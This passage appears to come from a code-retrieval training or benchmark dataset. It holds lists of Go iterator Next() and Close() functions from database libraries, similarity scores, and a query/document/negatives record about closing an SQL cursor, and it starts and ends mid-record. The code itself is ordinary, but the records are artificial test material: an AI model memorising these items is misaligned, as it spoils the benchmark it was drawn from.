Next(dest []driver.Value) error {\n\tif len(cr.fieldValues) == 0 || cr.eof {\n\t\treturn io.EOF\n\t}\n\n\tcopy(dest, cr.fieldValues)\n\terr := cr.decodeErrors.RowError(0)\n\tcr.eof = true\n\tfor _, v := range dest {\n\t\tif v, ok := v.(p.LobDecoderSetter); ok {\n\t\t\tv.SetDecoder(cr.conn.decodeLob)\n\t\t}\n\t}\n\treturn err\n}", "func (cr *callResult) Next(dest []driver.Value) error {\n\tif len(cr.fieldValues) == 0 || cr.eof {\n\t\treturn io.EOF\n\t}\n\n\tcopy(dest, cr.fieldValues)\n\terr := cr.decodeErrors.RowError(0)\n\tcr.eof = true\n\tfor _, v := range dest {\n\t\tif v, ok := v.(p.LobDecoderSetter); ok {\n\t\t\tv.SetDecoder(cr.conn.decodeLob)\n\t\t}\n\t}\n\treturn err\n}", "func (r *Rows) Next(dest []driver.Value) error {\n\ttypes, err := r.columnTypes(false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i := range types {\n\t\tswitch types[i] {\n\t\tcase Integer:\n\t\t\tdest[i] = r.message.getInt64()\n\t\tcase Float:\n\t\t\tdest[i] = r.message.getFloat64()\n\t\tcase Blob:\n\t\t\tdest[i] = r.message.getBlob()\n\t\tcase Text:\n\t\t\tdest[i] = r.message.getString()\n\t\tcase Null:\n\t\t\tr.message.getUint64()\n\t\t\tdest[i] = nil\n\t\tcase UnixTime:\n\t\t\ttimestamp := time.Unix(r.message.getInt64(), 0)\n\t\t\tdest[i] = timestamp\n\t\tcase ISO8601:\n\t\t\tvalue := r.message.getString()\n\t\t\tif value == \"\" {\n\t\t\t\tdest[i] = nil\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tvar t time.Time\n\t\t\tvar timeVal time.Time\n\t\t\tvar err error\n\t\t\tvalue = strings.TrimSuffix(value, \"Z\")\n\t\t\tfor _, format := range iso8601Formats {\n\t\t\t\tif timeVal, err = time.ParseInLocation(format, value, time.UTC); err == nil {\n\t\t\t\t\tt = timeVal\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tdest[i] = t\n\t\tcase Boolean:\n\t\t\tdest[i] = r.message.getInt64() != 0\n\t\tdefault:\n\t\t\tpanic(\"unknown data type\")\n\t\t}\n\t}\n\n\treturn nil\n}", "func (r *Rows) Next() bool {\n\treturn r.c.Next(context.TODO())\n}", "func (r *AnalyticsResult) Next(valuePtr interface{}) bool {\n\tif r.err != nil {\n\t\treturn false\n\t}\n\n\trow := r.NextBytes()\n\tif row == nil {\n\t\treturn false\n\t}\n\n\tr.err = r.serializer.Deserialize(row, valuePtr)\n\tif r.err != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (r *rows) Next(dest []driver.Value) error {\n\tif r.index >= len(r.rows) {\n\t\tif r.parent.offset < r.parent.total {\n\t\t\tif err := fetchNextPage(r.parent.conn, r.parent.jobid, r.parent.offset, r.parent.total, r.parent); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tr.index = r.parent.rows.index\n\t\t\tr.rows = r.parent.rows.rows\n\t\t} else {\n\t\t\tr.rows = nil\n\t\t}\n\t}\n\tif len(dest) != len(r.parent.columns) {\n\t\treturn fmt.Errorf(\"invalid scan, expected %d arguments and received %d\", len(r.parent.columns), len(dest))\n\t}\n\tif r.rows == nil || len(r.rows) == 0 {\n\t\treturn sql.ErrNoRows\n\t}\n\ttherow := r.rows[r.index]\n\tfor i := 0; i < len(r.parent.columns); i++ {\n\t\tkey := r.parent.columns[i]\n\t\tval := therow[key]\n\t\tdest[i] = val\n\t}\n\tr.index++\n\treturn nil\n}", "func (iter *DevicesQueryResultIterator) Next() error {\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr := iter.page.Next()\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "func (s *orderedSynchronizer) NextRow() (sqlbase.EncDatumRow, error) {\n\tif !s.initialized {\n\t\tif err := s.initHeap(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ts.initialized = true\n\t} else {\n\t\t// Last row returned was from the source at the root of the heap; get\n\t\t// the next row for that source.\n\t\tif err := s.advanceRoot(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif len(s.heap) == 0 {\n\t\treturn nil, nil\n\t}\n\treturn s.sources[s.heap[0]].row, nil\n}", "func (e *NestedLoopJoinExec) Next() (*Row, error) {\n\tif !e.prepared {\n\t\tif err := e.prepare(); err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t}\n\n\tfor {\n\t\tif e.cursor < len(e.resultRows) {\n\t\t\tretRow := e.resultRows[e.cursor]\n\t\t\te.cursor++\n\t\t\treturn retRow, nil\n\t\t}\n\t\tbigRow, match, err := e.fetchBigRow()\n\t\tif bigRow == nil || err != nil {\n\t\t\treturn bigRow, errors.Trace(err)\n\t\t}\n\t\te.resultRows, err = e.doJoin(bigRow, match)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\t\te.cursor = 0\n\t}\n}", "func (r *boltRows) NextPipeline() ([]interface{}, map[string]interface{}, PipelineRows, error) {\n\tif r.closed {\n\t\treturn nil, nil, nil, errors.New(\"Rows are already closed\")\n\t}\n\n\trespInt, err := r.statement.conn.consume()\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\n\tswitch resp := respInt.(type) {\n\tcase messages.SuccessMessage:\n\t\tlog.Infof(\"Got success message: %#v\", resp)\n\n\t\tif r.pipelineIndex == len(r.statement.queries)-1 {\n\t\t\tr.finishedConsume = true\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\n\t\tsuccessResp, err := r.statement.conn.consume()\n\t\tif err != nil && err != io.EOF {\n\t\t\treturn nil, nil, nil, errors.Wrap(err, \"An error occurred getting next set of rows from pipeline command: %#v\", successResp)\n\t\t}\n\n\t\tsuccess, ok := successResp.(messages.SuccessMessage)\n\t\tif !ok {\n\t\t\treturn nil, nil, nil, errors.New(\"Unexpected response getting next set of rows from pipeline command: %#v\", successResp)\n\t\t}\n\n\t\tr.statement.rows = newPipelineRows(r.statement, success.Metadata, r.pipelineIndex+1)\n\t\tr.statement.rows.closeStatement = r.closeStatement\n\t\treturn nil, success.Metadata, r.statement.rows, nil\n\n\tcase messages.RecordMessage:\n\t\tlog.Infof(\"Got record message: %#v\", resp)\n\t\treturn resp.Fields, nil, nil, nil\n\tdefault:\n\t\treturn nil, nil, nil, errors.New(\"Unrecognized response type getting next pipeline row: %#v\", resp)\n\t}\n}", "func (c *remoteCursor) Next() ([]byte, []byte, error) {\n\treturn c.next()\n}", "func (s *TransactionRows) Next(dst interface{}) (bool, error) {\n\tsnap, err := s.iter.Next()\n\tif err != nil {\n\t\ts.lastError = err\n\t\treturn false, err\n\t}\n\terr = snap.DataTo(&dst)\n\treturn true, err\n}", "func (mts *metadataTestSender) Next() (sqlbase.EncDatumRow, *ProducerMetadata) {\n\tmts.maybeStart(\"metadataTestSender\", \"\" /* logTag */)\n\n\tif mts.sendRowNumMeta {\n\t\tmts.sendRowNumMeta = false\n\t\tmts.rowNumCnt++\n\t\treturn nil, &ProducerMetadata{\n\t\t\tRowNum: &RemoteProducerMetadata_RowNum{\n\t\t\t\tRowNum: mts.rowNumCnt,\n\t\t\t\tSenderID: mts.id,\n\t\t\t\tLastMsg: false,\n\t\t\t},\n\t\t}\n\t}\n\n\tfor {\n\t\trow, meta := mts.input.Next()\n\t\tif meta != nil {\n\t\t\treturn nil, meta\n\t\t}\n\t\tif mts.closed || row == nil {\n\t\t\treturn nil, mts.producerMeta(nil /* err */)\n\t\t}\n\n\t\toutRow, status, err := mts.out.ProcessRow(mts.ctx, row)\n\t\tif err != nil {\n\t\t\treturn nil, mts.producerMeta(err)\n\t\t}\n\t\tswitch status {\n\t\tcase NeedMoreRows:\n\t\t\tif outRow == nil && err == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\tcase DrainRequested:\n\t\t\tmts.input.ConsumerDone()\n\t\t\tcontinue\n\t\t}\n\t\tmts.sendRowNumMeta = true\n\t\treturn outRow, nil\n\t}\n}", "func (rs *PollResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.Poll.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*Poll)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *Poll\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (rs *rowSets) NextResultSet() error {\n\tif !rs.HasNextResultSet() {\n\t\treturn io.EOF\n\t}\n\n\trs.pos++\n\treturn nil\n}", "func (r *analyticsDeferredResultHandle) Next(valuePtr interface{}) bool {\n\tif r.err != nil {\n\t\treturn false\n\t}\n\n\trow := r.NextBytes()\n\tif row == nil {\n\t\treturn false\n\t}\n\n\tr.err = json.Unmarshal(row, valuePtr)\n\tif r.err != nil {\n\t\treturn false\n\t}\n\n\treturn true\n}", "func (rs *PollVoteResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.PollVote.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*PollVote)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *PollVote\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (r *Result) Next() (more bool) {\n\tif r.conn == nil {\n\t\treturn false\n\t}\n\tswitch r.conn.Status() {\n\tcase StatusResultDone:\n\t\treturn false\n\t}\n\treturn !r.val.eof\n}", "func (deleteExec *DeleteExec) Next() (interface{}, error) {\n\ttbs, err := deleteExec.getTables()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(tbs) == 0 {\n\t\treturn nil, error_zpd.ErrHaveNotTable\n\t}\n\n\treturn deleteExec.deleteRow(tbs)\n}", "func (itr *RoaringIterator) Next() (rowID, columnID uint64, eof bool) {\n\tv, eof := itr.itr.Next()\n\treturn v / SliceWidth, v % SliceWidth, eof\n}", "func TableNextRow() {\n\tTableNextRowV(0, 0.0)\n}", "func (iter *CouchDBMockStateRangeQueryIterator) Next() (*queryresult.KV, error) {\n\tif iter.Closed == true {\n\t\treturn nil, errors.New(\"MockStateRangeQueryIterator.Next() called after Close()\")\n\t}\n\n\tif iter.HasNext() == false {\n\t\treturn nil, errors.New(\"MockStateRangeQueryIterator.Next() called when it does not HaveNext()\")\n\t}\n\tret := &iter.QueryResults[iter.CurrentIndex]\n\titer.CurrentIndex++\n\treturn ret, nil\n\t//\treturn nil, errors.New(\"MockStateRangeQueryIterator.Next() went past end of range\")\n}", "func (itr *LimitIterator) Next() (rowID, columnID uint64, eof bool) {\n\t// Always return EOF once it is reached by limit or the underlying iterator.\n\tif itr.eof {\n\t\treturn 0, 0, true\n\t}\n\n\t// Retrieve pair from underlying iterator.\n\t// Mark as EOF if it is beyond the limit (or at EOF).\n\trowID, columnID, eof = itr.itr.Next()\n\tif eof || rowID > itr.maxRowID || (rowID == itr.maxRowID && columnID > itr.maxColumnID) {\n\t\titr.eof = true\n\t\treturn 0, 0, true\n\t}\n\n\treturn rowID, columnID, false\n}", "func (s *spoolNode) Next(params runParams) (bool, error) {\n\ts.curRowIdx++\n\treturn s.curRowIdx < s.rows.Len(), nil\n}", "func (i *triggerBlockIter) Next(ctx *sql.Context) (sql.Row, error) {\n\trun := false\n\ti.once.Do(func() {\n\t\trun = true\n\t})\n\n\tif !run {\n\t\treturn nil, io.EOF\n\t}\n\n\trow := i.row\n\tfor _, s := range i.statements {\n\t\tsubIter, err := i.b.buildNodeExec(ctx, s, row)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor {\n\t\t\tnewRow, err := subIter.Next(ctx)\n\t\t\tif err == io.EOF {\n\t\t\t\terr := subIter.Close(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t} else if err != nil {\n\t\t\t\t_ = subIter.Close(ctx)\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// We only return the result of a trigger block statement in certain cases, specifically when we are setting the\n\t\t\t// value of new.field, so that the wrapping iterator can use it for the insert / update. Otherwise, this iterator\n\t\t\t// always returns its input row.\n\t\t\tif shouldUseTriggerStatementForReturnRow(s) {\n\t\t\t\trow = newRow[len(newRow)/2:]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn row, nil\n}", "func (itr *iterator) Next() {\n\tvar err error\n\titr.cur, err = itr.dic.Recv()\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"RemoteDB.Iterator.Next error: %v\", err))\n\t}\n}", "func (rc *SQLiteRows) Next(dest []driver.Value) error {\n\tif rc.s.closed {\n\t\treturn io.EOF\n\t}\n\trc.s.mu.Lock()\n\tdefer rc.s.mu.Unlock()\n\trv := C.sqlite3_step(rc.s.s)\n\tif rv == C.SQLITE_DONE {\n\t\treturn io.EOF\n\t}\n\tif rv != C.SQLITE_ROW {\n\t\trv = C.sqlite3_reset(rc.s.s)\n\t\tif rv != C.SQLITE_OK {\n\t\t\treturn rc.s.c.lastError()\n\t\t}\n\t\treturn nil\n\t}\n\n\trc.declTypes()\n\n\tfor i := range dest {\n\t\tswitch C.sqlite3_column_type(rc.s.s, C.int(i)) {\n\t\tcase C.SQLITE_INTEGER:\n\t\t\tval := int64(C.sqlite3_column_int64(rc.s.s, C.int(i)))\n\t\t\tswitch rc.decltype[i] {\n\t\t\tcase columnTimestamp, columnDatetime, columnDate:\n\t\t\t\tvar t time.Time\n\t\t\t\t// Assume a millisecond unix timestamp if it's 13 digits -- too\n\t\t\t\t// large to be a reasonable timestamp in seconds.\n\t\t\t\tif val > 1e12 || val < -1e12 {\n\t\t\t\t\tval *= int64(time.Millisecond) // convert ms to nsec\n\t\t\t\t\tt = time.Unix(0, val)\n\t\t\t\t} else {\n\t\t\t\t\tt = time.Unix(val, 0)\n\t\t\t\t}\n\t\t\t\tt = t.UTC()\n\t\t\t\tif rc.s.c.tz != nil {\n\t\t\t\t\tt = t.In(rc.s.c.tz)\n\t\t\t\t}\n\t\t\t\tdest[i] = t\n\t\t\tcase \"boolean\":\n\t\t\t\tdest[i] = val > 0\n\t\t\tdefault:\n\t\t\t\tdest[i] = val\n\t\t\t}\n\t\tcase C.SQLITE_FLOAT:\n\t\t\tdest[i] = float64(C.sqlite3_column_double(rc.s.s, C.int(i)))\n\t\tcase C.SQLITE_BLOB:\n\t\t\tp := C.sqlite3_column_blob(rc.s.s, C.int(i))\n\t\t\tif p == nil {\n\t\t\t\tdest[i] = nil\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tn := int(C.sqlite3_column_bytes(rc.s.s, C.int(i)))\n\t\t\tswitch dest[i].(type) {\n\t\t\tdefault:\n\t\t\t\tslice := make([]byte, n)\n\t\t\t\tcopy(slice[:], (*[1 << 30]byte)(p)[0:n])\n\t\t\t\tdest[i] = slice\n\t\t\t}\n\t\tcase C.SQLITE_NULL:\n\t\t\tdest[i] = nil\n\t\tcase C.SQLITE_TEXT:\n\t\t\tvar err error\n\t\t\tvar timeVal time.Time\n\n\t\t\tn := int(C.sqlite3_column_bytes(rc.s.s, C.int(i)))\n\t\t\ts := C.GoStringN((*C.char)(unsafe.Pointer(C.sqlite3_column_text(rc.s.s, C.int(i)))), C.int(n))\n\n\t\t\tswitch rc.decltype[i] {\n\t\t\tcase columnTimestamp, columnDatetime, columnDate:\n\t\t\t\tvar t time.Time\n\t\t\t\ts = strings.TrimSuffix(s, \"Z\")\n\t\t\t\tfor _, format := range SQLiteTimestampFormats {\n\t\t\t\t\tif timeVal, err = time.ParseInLocation(format, s, time.UTC); err == nil {\n\t\t\t\t\t\tt = timeVal\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\t// The column is a time value, so return the zero time on parse failure.\n\t\t\t\t\tt = time.Time{}\n\t\t\t\t}\n\t\t\t\tif rc.s.c.tz != nil {\n\t\t\t\t\tt = t.In(rc.s.c.tz)\n\t\t\t\t}\n\t\t\t\tdest[i] = t\n\t\t\tdefault:\n\t\t\t\tdest[i] = []byte(s)\n\t\t\t}\n\n\t\t}\n\t}\n\treturn nil\n}", "func (itr *BufIterator) Next() (rowID, columnID uint64, eof bool) {\n\tif itr.buf.full {\n\t\titr.buf.full = false\n\t\treturn itr.buf.rowID, itr.buf.columnID, itr.buf.eof\n\t}\n\n\t// Read values onto buffer in case of unread.\n\titr.buf.rowID, itr.buf.columnID, itr.buf.eof = itr.itr.Next()\n\n\treturn itr.buf.rowID, itr.buf.columnID, itr.buf.eof\n}", "func (r *newSelectResult) NextRaw() ([]byte, error) {\n\tre := <-r.results\n\treturn re.result, errors.Trace(re.err)\n}", "func (rs *PollOptionResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.PollOption.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*PollOption)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *PollOption\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (it *KVResultsIter) Next() (*queryresult.KV, error) {\n\tif it.nextErr != nil {\n\t\treturn nil, it.nextErr\n\t}\n\n\tqueryResult := it.next\n\tif queryResult == nil {\n\t\tqr, err := it.it.Next()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tqueryResult = qr\n\t} else {\n\t\tit.next = nil\n\t}\n\n\tif queryResult == nil {\n\t\treturn nil, errors.New(\"Next() called when there is no next\")\n\t}\n\n\tversionedKV := queryResult.(*statedb.VersionedKV)\n\n\treturn &queryresult.KV{\n\t\tNamespace: versionedKV.Namespace,\n\t\tKey: versionedKV.Key,\n\t\tValue: versionedKV.Value,\n\t}, nil\n}", "func (r *Rows) One(i interface{}) error {\n\tif r.err != nil {\n\t\treturn r.err\n\t}\n\n\tdefer r.Close()\n\n\tif r.Next() {\n\t\treturn r.Scan(i)\n\t} else {\n\t\treturn ErrNoRows\n\t}\n}", "func (rs *PersonResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.Person.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*Person)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *Person\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (c *indexIter) Next() (val []types.Datum, h int64, err error) {\n\tif !c.it.Valid() {\n\t\treturn nil, 0, errors.Trace(io.EOF)\n\t}\n\tif !c.it.Key().HasPrefix(c.prefix) {\n\t\treturn nil, 0, errors.Trace(io.EOF)\n\t}\n\t// get indexedValues\n\tbuf := c.it.Key()[len(c.prefix):]\n\tvv, err := codec.Decode(buf, len(c.idx.idxInfo.Columns))\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tif len(vv) > len(c.idx.idxInfo.Columns) {\n\t\th = vv[len(vv)-1].GetInt64()\n\t\tval = vv[0 : len(vv)-1]\n\t} else {\n\t\t// If the index is unique and the value isn't nil, the handle is in value.\n\t\th, err = DecodeHandle(c.it.Value())\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tval = vv\n\t}\n\t// update new iter to next\n\terr = c.it.Next()\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\treturn\n}", "func (c *Cursor) Next() (int64, bool) {\n\tnext := c.Data[0][0] + c.Data[0][2]\n\tif next < c.Data[0][1] {\n\t\treturn next, true\n\t}\n\treturn c.Data[0][0], false\n\n}", "func (r *Row) Next() bool {\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\n\tif r.s == nil {\n\t\treturn false\n\t}\n\tr.raw, r.err = r.s.DecodeBytes()\n\tr.s = nil\n\n\treturn r.err == nil && r.raw != nil\n}", "func (rs *SessionResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.Session.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*Session)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *Session\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (d *declareHandlerIter) Next(ctx *sql.Context) (sql.Row, error) {\n\td.Pref.InitializeHandler(d.Statement, d.Action == plan.DeclareHandlerAction_Exit)\n\treturn nil, io.EOF\n}", "func (iter *ResourceListResultIterator) Next() error {\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr := iter.page.Next()\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "func (rs *UserResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.User.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*User)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *User\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (page *DevicesQueryResultPage) Next() error {\n\tnext, err := page.fn(page.dqr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpage.dqr = next\n\treturn nil\n}", "func (s *Select) GetNext(qe QueryExecer, dst interface{}, cursor string) error {\n\tif err := s.setCursor(cursor); err != nil {\n\t\treturn err\n\t}\n\ts.offset += s.limit\n\tquery, args := s.Query()\n\trow := qe.QueryRow(query, args...)\n\terr := scanWithReflection(s.t.Fields(), row, dst)\n\treturn err\n}", "func (iter *ProductResultValueIterator) Next() error {\n\treturn iter.NextWithContext(context.Background())\n}", "func (i *iterator) Next() (timestamp int64, value interface{}) {\n\tfor {\n\t\t// If index is beyond points range then return nil.\n\t\tif i.index > len(i.points)-1 {\n\t\t\treturn 0, nil\n\t\t}\n\n\t\t// Retrieve point and extract value.\n\t\tp := i.points[i.index]\n\t\tv := p.values[i.fieldID]\n\n\t\t// Move cursor forward.\n\t\ti.index++\n\n\t\t// If timestamp is beyond bucket time range then move index back and exit.\n\t\ttimestamp := p.timestamp\n\t\tif timestamp >= i.imax && i.imax != 0 {\n\t\t\ti.index--\n\t\t\treturn 0, nil\n\t\t}\n\n\t\t// Return value if it is non-nil.\n\t\t// Otherwise loop again and try the next point.\n\t\tif v != nil {\n\t\t\treturn p.timestamp, v\n\t\t}\n\t}\n}", "func (c *Conn) Next(ctx context.Context) (i Item, err error) {\n\tvar tx pgx.Tx\n\ttx, err = c.db.Begin(ctx)\n\tif err != nil {\n\t\treturn\n\t}\n\n\trow := tx.QueryRow(ctx, \"SELECT url, priority FROM jobs ORDER BY priority DESC FOR UPDATE skip locked\")\n\n\tif err = row.Scan(&i.URL, &i.Priority); err != nil {\n\t\tif err == pgx.ErrNoRows {\n\t\t\terr = ErrNoItem\n\t\t}\n\n\t\treturn\n\t}\n\n\ti.tx = *&tx\n\n\treturn\n}", "func (rs *PetResultSet) Next() bool {\n\tif !rs.ResultSet.Next() {\n\t\trs.lastErr = rs.ResultSet.Close()\n\t\trs.last = nil\n\t\treturn false\n\t}\n\n\tvar record kallax.Record\n\trecord, rs.lastErr = rs.ResultSet.Get(Schema.Pet.BaseSchema)\n\tif rs.lastErr != nil {\n\t\trs.last = nil\n\t} else {\n\t\tvar ok bool\n\t\trs.last, ok = record.(*Pet)\n\t\tif !ok {\n\t\t\trs.lastErr = fmt.Errorf(\"kallax: unable to convert record to *Pet\")\n\t\t\trs.last = nil\n\t\t}\n\t}\n\n\treturn true\n}", "func (c *Cursor) Next() (key, value []byte) {\n\tif c.index >= len(c.items)-1 {\n\t\treturn nil, nil\n\t}\n\n\tc.index++\n\treturn c.items[c.index].Key, c.items[c.index].Value\n}", "func (stream *VTGateStream) Next() (*sqltypes.Result, error) {\n\tticker := time.Tick(10 * time.Second)\n\tselect {\n\tcase s := <-stream.respChan:\n\t\treturn s, nil\n\tcase <-ticker:\n\t\treturn nil, fmt.Errorf(\"time limit exceeded\")\n\t}\n}", "func (it *TimeSeriesDataPointIterator) Next() (*aiplatformpb.TimeSeriesDataPoint, error) {\n\tvar item *aiplatformpb.TimeSeriesDataPoint\n\tif err := it.nextFunc(); err != nil {\n\t\treturn item, err\n\t}\n\titem = it.items[0]\n\tit.items = it.items[1:]\n\treturn item, nil\n}", "func (i *Iterator) Next() interface{} { // TODO return value needed?\n\tif len(i.Target) == 0 {\n\t\treturn nil\n\t}\n\tif i.Index+1 == len(i.Target) {\n\t\ti.Index = 0\n\t} else {\n\t\ti.Index++\n\t}\n\treturn i.Value()\n}", "func (sr *DataResult) Next() bool {\n\tstatus := sr.result.Next(sr.ctx)\n\tif !status {\n\t\t// defer sr.result.Close(sr.ctx)\n\t}\n\treturn status\n}", "func (itr *SliceIterator) Next() (rowID, columnID uint64, eof bool) {\n\tif itr.i >= itr.n {\n\t\treturn 0, 0, true\n\t}\n\n\trowID = itr.rowIDs[itr.i]\n\tcolumnID = itr.columnIDs[itr.i]\n\n\titr.i++\n\treturn rowID, columnID, false\n}" ]
[ "0.7601246", "0.7593814", "0.7574184", "0.71187073", "0.70023894", "0.7000093", "0.6977117", "0.6913482", "0.68120193", "0.6803205", "0.67932194", "0.6787142", "0.67863756", "0.6782807", "0.67754066", "0.67714506", "0.67640555", "0.6763415", "0.67622894", "0.67470247", "0.673986", "0.67291665", "0.6724373", "0.6713458", "0.6712214", "0.66914344", "0.66677254", "0.6638041", "0.6619607", "0.6613757", "0.66084695", "0.65986633", "0.65910596", "0.6587743", "0.6578768", "0.657573", "0.6563475", "0.6528966", "0.65271753", "0.6474495", "0.6465399", "0.6444683", "0.6424308", "0.6410457", "0.63813066", "0.6367291", "0.6361061", "0.63561076", "0.6336456", "0.63347775", "0.62932634", "0.626417", "0.62518054", "0.62358385", "0.6225245", "0.6219745", "0.61996925", "0.6185744", "0.61801636", "0.61436343", "0.61384267", "0.6121437", "0.61024755", "0.6101453", "0.6095536", "0.6090011", "0.60860324", "0.6078703", "0.6068576", "0.6062803", "0.60570294", "0.6055294", "0.6047191", "0.60132873", "0.60100436", "0.5987044", "0.597593", "0.5959007", "0.59538174", "0.5936775", "0.59329474", "0.59326136", "0.59323734", "0.5925845", "0.5923414", "0.5922087", "0.59146214", "0.5908102", "0.59021443", "0.58994883", "0.58989894", "0.589071", "0.5882793", "0.5871728", "0.5842069", "0.5838674", "0.58286756", "0.58180875", "0.5816568", "0.5815657" ]
0.71493405
3
Close closes the cursor. Once you are done with the cursor, you MUST call Close, so its probably best to put a defer Close statement ahead of using Next.
func (r sqlCursor) Close() error { return r.rows.Close() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (r *Recordset) Close() error {\n\tr.cursor = 0\n\treturn nil\n}", "func (itr *doltTableRowIter) Close(*sql.Context) error {\n\treturn nil\n}", "func (b *BsonCursor) Close(ctx context.Context) error {\n\tb.raw = nil\n\treturn nil\n}", "func (i *Iterator) Close() {}", "func (itr *doltTableRowIter) Close() error {\n\treturn nil\n}", "func (i *blockIter) Close(ctx *sql.Context) error {\n\treturn i.internalIter.Close(ctx)\n}", "func (c *cur) Close() error {\n\tc.logger.Debug(\"Close().\")\n\terr := c.it.Close()\n\tc.it = nil\n\treturn err\n}", "func (si *ScanIterator) Close() {\n\t// Cleanup\n}", "func (reader *Reader) Close() (err error) {\n\tfor _, column := range reader.columns {\n\t\tcolumn.close()\n\t}\n\n\treader.columns = nil\n\treader.rowIndex = 0\n\n\treturn nil\n}", "func (s *stmt) Close() error {\n\treturn nil\n}", "func (d *declareHandlerIter) Close(ctx *sql.Context) error {\n\treturn nil\n}", "func (iter *Iterator) Close() error { return iter.impl.Close() }", "func (stmt *statement) Close() {\n\treuseStmt(stmt)\n}", "func (it *Iterator) Close() {\n\tit.snap.Close()\n\tit.snap.db.store.FreeBuf(it.buf)\n\tit.iter.Close()\n}", "func (i *gocbRawIterator) Close() error {\n\t// Have to iterate over any remaining results to clear the reader\n\t// Otherwise we get \"the result must be closed before accessing the meta-data\" on 